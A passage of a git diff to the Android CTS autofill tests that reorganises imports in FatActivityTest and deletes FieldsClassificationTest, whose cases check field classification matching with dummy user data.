-        assertThat(mNotImportantContainerExcludingDescendantsChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mNotImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-
-        assertThat(mImportantContainerExcludingDescendants.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES_EXCLUDE_DESCENDANTS);
-        assertThat(mImportantContainerExcludingDescendantsChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mImportantContainerExcludingDescendantsGrandChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-
-        assertThat(mNotImportantContainerMixedDescendants.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-        assertThat(mNotImportantContainerMixedDescendantsChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_YES);
-        assertThat(mNotImportantContainerMixedDescendantsGrandChild.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_NO);
-
-        assertThat(mViewWithAutofillHints.getImportantForAutofill())
-                .isEqualTo(IMPORTANT_FOR_AUTOFILL_AUTO);
-        assertThat(mViewWithAutofillHints.isImportantForAutofill()).isTrue();
-    }
-
-    /**
-     * Visits the {@code input} in the UiThread.
-     */
-    void onInput(Visitor<EditText> v) {
-        syncRunOnUiThread(() -> {
-            v.visit(mInput);
-        });
-    }
-
-    /**
-     * Custom view that defines an autofill type so autofill hints are set on {@code ViewNode}.
-     */
-    public static class MyView extends View {
-        public MyView(Context context, AttributeSet attrs) {
-            super(context, attrs);
-        }
-
-        @Override
-        public int getAutofillType() {
-            return AUTOFILL_TYPE_TEXT;
-        }
-    }
-}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
index 456f5cf..a24936c 100644
--- a/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
+++ b/tests/autofillservice/src/android/autofillservice/cts/FatActivityTest.java
@@ -15,27 +15,27 @@
  */
 package android.autofillservice.cts;
 
-import static android.autofillservice.cts.CannedFillResponse.NO_RESPONSE;
-import static android.autofillservice.cts.FatActivity.ID_CAPTCHA;
-import static android.autofillservice.cts.FatActivity.ID_IMAGE;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_IMPORTANT_IMAGE;
-import static android.autofillservice.cts.FatActivity.ID_INPUT;
-import static android.autofillservice.cts.FatActivity.ID_INPUT_CONTAINER;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
-import static android.autofillservice.cts.FatActivity.ID_ROOT;
-import static android.autofillservice.cts.Helper.findNodeByAutofillHint;
-import static android.autofillservice.cts.Helper.findNodeByResourceId;
-import static android.autofillservice.cts.Helper.findNodeByText;
-import static android.autofillservice.cts.Helper.getNumberNodes;
-import static android.autofillservice.cts.Helper.importantForAutofillAsString;
+import static android.autofillservice.cts.activities.FatActivity.ID_CAPTCHA;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMAGE;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_IMPORTANT_IMAGE;
+import static android.autofillservice.cts.activities.FatActivity.ID_INPUT;
+import static android.autofillservice.cts.activities.FatActivity.ID_INPUT_CONTAINER;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_EXCLUDING_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_NOT_IMPORTANT_CONTAINER_MIXED_DESCENDANTS_GRAND_CHILD;
+import static android.autofillservice.cts.activities.FatActivity.ID_ROOT;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.findNodeByAutofillHint;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.autofillservice.cts.testcore.Helper.findNodeByText;
+import static android.autofillservice.cts.testcore.Helper.getNumberNodes;
+import static android.autofillservice.cts.testcore.Helper.importantForAutofillAsString;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_AUTO;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO;
 import static android.view.View.IMPORTANT_FOR_AUTOFILL_NO_EXCLUDE_DESCENDANTS;
@@ -46,7 +46,10 @@
 import static com.google.common.truth.Truth.assertWithMessage;
 
 import android.app.assist.AssistStructure.ViewNode;
-import android.autofillservice.cts.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.activities.FatActivity;
+import android.autofillservice.cts.commontests.AutoFillServiceTestCase;
+import android.autofillservice.cts.testcore.AutofillActivityTestRule;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
 
 import org.junit.Test;
 
diff --git a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java b/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
deleted file mode 100644
index 99debab..0000000
--- a/tests/autofillservice/src/android/autofillservice/cts/FieldsClassificationTest.java
+++ /dev/null
@@ -1,856 +0,0 @@
-/*
- * Copyright 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.autofillservice.cts;
-
-import static android.autofillservice.cts.GridActivity.ID_L1C1;
-import static android.autofillservice.cts.GridActivity.ID_L1C2;
-import static android.autofillservice.cts.GridActivity.ID_L2C1;
-import static android.autofillservice.cts.GridActivity.ID_L2C2;
-import static android.autofillservice.cts.Helper.assertFillEventForContextCommitted;
-import static android.autofillservice.cts.Helper.assertFillEventForFieldsClassification;
-import static android.autofillservice.cts.Helper.findAutofillIdByResourceId;
-import static android.provider.Settings.Secure.AUTOFILL_FEATURE_FIELD_CLASSIFICATION;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MAX_VALUE_LENGTH;
-import static android.provider.Settings.Secure.AUTOFILL_USER_DATA_MIN_VALUE_LENGTH;
-import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_CREDIT_CARD;
-import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EDIT_DISTANCE;
-import static android.service.autofill.AutofillFieldClassificationService.REQUIRED_ALGORITHM_EXACT_MATCH;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.autofillservice.cts.Helper.FieldClassificationResult;
-import android.os.Bundle;
-import android.platform.test.annotations.AppModeFull;
-import android.service.autofill.FillContext;
-import android.service.autofill.FillEventHistory.Event;
-import android.service.autofill.UserData;
-import android.view.autofill.AutofillId;
-import android.view.autofill.AutofillManager;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.SettingsStateChangerRule;
-
-import org.junit.ClassRule;
-import org.junit.Test;
-
-import java.util.List;
-import java.util.concurrent.atomic.AtomicReference;
-
-@AppModeFull(reason = "Service-specific test")
-public class FieldsClassificationTest extends AbstractGridActivityTestCase {
-
-    @ClassRule
-    public static final SettingsStateChangerRule sFeatureEnabler =
-            new SettingsStateChangerRule(sContext, AUTOFILL_FEATURE_FIELD_CLASSIFICATION, "1");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxFcSizeChanger =
-            new SettingsStateChangerRule(sContext,
-                    AUTOFILL_USER_DATA_MAX_FIELD_CLASSIFICATION_IDS_SIZE, "10");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxUserSizeChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_USER_DATA_SIZE, "9");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMinValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MIN_VALUE_LENGTH, "4");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxValueChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_VALUE_LENGTH, "50");
-
-    @ClassRule
-    public static final SettingsStateChangerRule sUserDataMaxCategoryChanger =
-            new SettingsStateChangerRule(sContext, AUTOFILL_USER_DATA_MAX_CATEGORY_COUNT, "42");
-
-    private AutofillManager mAfm;
-    private final Bundle mLast4Bundle = new Bundle();
-    private final Bundle mCreditCardBundle = new Bundle();
-
-    @Override
-    protected void postActivityLaunched() {
-        mAfm = mActivity.getAutofillManager();
-        mLast4Bundle.putInt("MATCH_SUFFIX", 4);
-
-        mCreditCardBundle.putInt("REQUIRED_ARG_MIN_CC_LENGTH", 13);
-        mCreditCardBundle.putInt("REQUIRED_ARG_MAX_CC_LENGTH", 19);
-        mCreditCardBundle.putInt("OPTIONAL_ARG_SUFFIX_LENGTH", 4);
-    }
-
-    @Test
-    public void testFeatureIsEnabled() throws Exception {
-        enableService();
-        assertThat(mAfm.isFieldClassificationEnabled()).isTrue();
-
-        disableService();
-        assertThat(mAfm.isFieldClassificationEnabled()).isFalse();
-    }
-
-    @Test
-    public void testGetAlgorithm() throws Exception {
-        enableService();
-
-        // Check algorithms
-        final List<String> names = mAfm.getAvailableFieldClassificationAlgorithms();
-        assertThat(names.size()).isAtLeast(1);
-        final String defaultAlgorithm = mAfm.getDefaultFieldClassificationAlgorithm();
-        assertThat(defaultAlgorithm).isNotEmpty();
-        assertThat(names).contains(defaultAlgorithm);
-
-        // Checks invalid service
-        disableService();
-        assertThat(mAfm.getAvailableFieldClassificationAlgorithms()).isEmpty();
-    }
-
-    @Test
-    public void testUserData() throws Exception {
-        assertThat(mAfm.getUserData()).isNull();
-        assertThat(mAfm.getUserDataId()).isNull();
-
-        enableService();
-        mAfm.setUserData(new UserData.Builder("user_data_id", "value", "remote_id")
-                .build());
-        assertThat(mAfm.getUserData()).isNotNull();
-        assertThat(mAfm.getUserDataId()).isEqualTo("user_data_id");
-        final UserData userData = mAfm.getUserData();
-        assertThat(userData.getId()).isEqualTo("user_data_id");
-        assertThat(userData.getFieldClassificationAlgorithm()).isNull();
-        assertThat(userData.getFieldClassificationAlgorithms()).isNull();
-
-        disableService();
-        assertThat(mAfm.getUserData()).isNull();
-        assertThat(mAfm.getUserDataId()).isNull();
-    }
-
-    @Test
-    public void testRequiredAlgorithmsAvailable() throws Exception {
-        enableService();
-        final List<String> availableAlgorithms = mAfm.getAvailableFieldClassificationAlgorithms();
-        assertThat(availableAlgorithms).isNotNull();
-        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EDIT_DISTANCE)).isTrue();
-        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_EXACT_MATCH)).isTrue();
-        assertThat(availableAlgorithms.contains(REQUIRED_ALGORITHM_CREDIT_CARD)).isTrue();
-    }
-
-    @Test
-    public void testUserDataConstraints() throws Exception {
-        // NOTE: values set by the SettingsStateChangerRule @Rules should have unique values to
-        // make sure the getters below are reading the right property.
-        assertThat(UserData.getMaxFieldClassificationIdsSize()).isEqualTo(10);
-        assertThat(UserData.getMaxUserDataSize()).isEqualTo(9);
-        assertThat(UserData.getMinValueLength()).isEqualTo(4);
-        assertThat(UserData.getMaxValueLength()).isEqualTo(50);
-        assertThat(UserData.getMaxCategoryCount()).isEqualTo(42);
-    }
-
-    @Test
-    public void testHit_oneUserData_oneDetectableField() throws Exception {
-        simpleHitTest(false, null);
-    }
-
-    @Test
-    public void testHit_invalidAlgorithmIsIgnored() throws Exception {
-        // For simplicity's sake, let's assume that name will never be valid..
-        String invalidName = " ALGORITHM, Y NO INVALID? ";
-
-        simpleHitTest(true, invalidName);
-    }
-
-    @Test
-    public void testHit_userDataAlgorithmIsReset() throws Exception {
-        simpleHitTest(true, null);
-    }
-
-    @Test
-    public void testMiss_exactMatchAlgorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "t 1234", "cat")
-                .setFieldClassificationAlgorithmForCategory("cat",
-                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "t 5678");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), null);
-    }
-
-    @Test
-    public void testHit_exactMatchLast4Algorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "1234", "cat")
-                .setFieldClassificationAlgorithmForCategory("cat",
-                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "T1234");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
-    }
-
-    @Test
-    public void testHit_CreditCardAlgorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "1122334455667788", "card")
-                .setFieldClassificationAlgorithmForCategory("card",
-                        REQUIRED_ALGORITHM_CREDIT_CARD, mCreditCardBundle)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "7788");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "card", 1);
-    }
-
-    @Test
-    public void testHit_useDefaultAlgorithm() throws Exception {
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "1234", "cat")
-                .setFieldClassificationAlgorithm(REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .setFieldClassificationAlgorithmForCategory("dog",
-                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "T1234");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "cat", 1);
-    }
-
-    private void simpleHitTest(boolean setAlgorithm, String algorithm) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        final UserData.Builder userData = new UserData.Builder("id", "FULLY", "myId");
-        if (setAlgorithm) {
-            userData.setFieldClassificationAlgorithm(algorithm, null);
-        }
-        mAfm.setUserData(userData.build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0), fieldId.get(), "myId", 1);
-    }
-
-    @Test
-    public void testHit_sameValueForMultipleCategories() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData
-                .Builder("id", "FULLY", "cat1")
-                .add("FULLY", "cat2")
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId.get(),
-                                new String[] { "cat1", "cat2"},
-                                new float[] {1, 1})
-                });
-    }
-
-    @Test
-    public void testHit_manyUserData_oneDetectableField_bestMatchIsFirst() throws Exception {
-        manyUserData_oneDetectableField(true);
-    }
-
-    @Test
-    public void testHit_manyUserData_oneDetectableField_bestMatchIsSecond() throws Exception {
-        manyUserData_oneDetectableField(false);
-    }
-
-    private void manyUserData_oneDetectableField(boolean firstMatch) throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "Iam1ST", "1stId")
-                .add("Iam2ND", "2ndId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1)
-                .setVisitor((contexts, builder) -> fieldId
-                        .set(findAutofillIdByResourceId(contexts.get(0), ID_L1C1)))
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field);
-
-        // Simulate user input
-        mActivity.setText(1, 1, firstMatch ? "IAM111" : "IAM222");
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        // Best match is 0.66 (4 of 6), worst is 0.5 (3 of 6)
-        if (firstMatch) {
-            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
-                    new FieldClassificationResult(fieldId.get(), new String[] { "1stId", "2ndId" },
-                            new float[] { 0.66F, 0.5F })});
-        } else {
-            assertFillEventForFieldsClassification(events.get(0), new FieldClassificationResult[] {
-                    new FieldClassificationResult(fieldId.get(), new String[] { "2ndId", "1stId" },
-                            new float[] { 0.66F, 0.5F }) });
-        }
-    }
-
-    @Test
-    public void testHit_oneUserData_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId").build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // 100%
-        mActivity.setText(1, 2, "fooly"); // 60%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(), "myId", 1.0F),
-                        new FieldClassificationResult(fieldId2.get(), "myId", 0.6F),
-                });
-    }
-
-    @Test
-    public void testHit_manyUserData_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "FULLY", "myId")
-                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
-                .add("EMPTY", "otherId")
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId4 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
-                    fieldId4.set(findAutofillIdByResourceId(context, ID_L2C2));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "fully"); // u1: 100% u2:  20%
-        mActivity.setText(1, 2, "empty"); // u1:  20% u2: 100%
-        mActivity.setText(2, 1, "fooly"); // u1:  60% u2:  20%
-        mActivity.setText(2, 2, "emppy"); // u1:  20% u2:  80%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "otherId", "myId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId3.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 0.6F, 0.2F }),
-                        new FieldClassificationResult(fieldId4.get(),
-                                new String[] { "otherId", "myId"}, new float[] { 0.80F, 0.2F })});
-    }
-
-    @Test
-    public void testHit_manyUserData_manyDetectableFields_differentClassificationAlgo()
-            throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "1234", "myId")
-                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
-                .add("EMPTY", "otherId")
-                .setFieldClassificationAlgorithmForCategory("myId",
-                        REQUIRED_ALGORITHM_EXACT_MATCH, mLast4Bundle)
-                .setFieldClassificationAlgorithmForCategory("otherId",
-                        REQUIRED_ALGORITHM_EDIT_DISTANCE, null)
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId2 = new AtomicReference<>();
-        final AtomicReference<AutofillId> fieldId3 = new AtomicReference<>();
-        sReplier.addResponse(new CannedFillResponse.Builder()
-                .setFieldClassificationIds(ID_L1C1, ID_L1C2)
-                .setVisitor((contexts, builder) -> {
-                    final FillContext context = contexts.get(0);
-                    fieldId1.set(findAutofillIdByResourceId(context, ID_L1C1));
-                    fieldId2.set(findAutofillIdByResourceId(context, ID_L1C2));
-                    fieldId3.set(findAutofillIdByResourceId(context, ID_L2C1));
-                })
-                .build());
-
-        // Trigger autofill
-        mActivity.focusCell(1, 1);
-        sReplier.getNextFillRequest();
-
-        mUiBot.assertNoDatasetsEver();
-        callback.assertUiUnavailableEvent(field1);
-
-        // Simulate user input
-        mActivity.setText(1, 1, "E1234"); // u1: 100% u2:  20%
-        mActivity.setText(1, 2, "empty"); // u1:   0% u2: 100%
-        mActivity.setText(2, 1, "fULLy"); // u1:   0% u2:  20%
-
-        // Finish context.
-        mAfm.commit();
-
-        // Assert results
-        final List<Event> events = InstrumentedAutoFillService.getFillEvents(1);
-        assertFillEventForFieldsClassification(events.get(0),
-                new FieldClassificationResult[] {
-                        new FieldClassificationResult(fieldId1.get(),
-                                new String[] { "myId", "otherId" }, new float[] { 1.0F, 0.2F }),
-                        new FieldClassificationResult(fieldId2.get(),
-                                new String[] { "otherId" }, new float[] { 1.0F }),
-                        new FieldClassificationResult(fieldId3.get(),
-                                new String[] { "otherId" }, new float[] { 0.2F })});
-    }
-
-    @Test
-    public void testHit_manyUserDataPerField_manyDetectableFields() throws Exception {
-        // Set service.
-        enableService();
-
-        // Set expectations.
-        mAfm.setUserData(new UserData.Builder("id", "zzzzz", "myId") // should not have matched any
-                .add("FULL1", "myId") // match 80%, should not have been reported
-                .add("FULLY", "myId") // match 100%
-                .add("ZZZZZZZZZZ", "totalMiss") // should not have matched any
-                .add("EMPTY", "otherId")
-                .build());
-        final MyAutofillCallback callback = mActivity.registerCallback();
-        final EditText field1 = mActivity.getCell(1, 1);
-        final AtomicReference<AutofillId> fieldId1 = new AtomicReference<>();
